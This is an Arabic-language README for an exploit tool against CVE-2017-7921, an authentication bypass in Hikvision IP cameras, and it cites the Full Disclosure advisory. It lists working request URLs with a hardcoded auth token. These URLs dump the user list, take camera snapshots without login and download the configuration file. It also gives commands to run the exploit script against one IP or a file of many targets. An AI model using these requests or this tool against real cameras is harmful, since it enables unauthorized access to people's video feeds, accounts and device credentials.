CVE-2017-7921 استغلال

تم اكتشاف مشكلة في التحقق من الهوية بشكل غير صحيح في أجهزة Hikvision.

​ تحدث ثغرة التحقق من الهوية غير الصحيحة عندما لا يقوم التطبيق بالتحقق من هوية المستخدمين بشكل كافٍ أو صحيح.

​ قد يسمح ذلك لمستخدم ضار بتصعيد صلاحياته على النظام والوصول إلى معلومات حساسة.

​ https://seclists.org/fulldisclosure/2017/Sep/23

​ تفاصيل الثغرة:

​ ----------------------

​ استرداد قائمة بجميع المستخدمين وأدوارهم:

​ http://camera.ip/Security/users?auth=YWRtaW46MTEK

​ الحصول على لقطة من الكاميرا بدون تحقق:

​ http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

​ والأسوأ من ذلك، يمكن تنزيل إعدادات الكاميرا:

​ http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

تثبيت التبعيات

python3 -m pip install -r requirements.txt

الاستخدام

python3 CVE_2017_7921_EXP.py -t xxx.xx.xx.xx run
python3 CVE_2017_7921_EXP.py -t ./targets.txt run

لقطة شاشة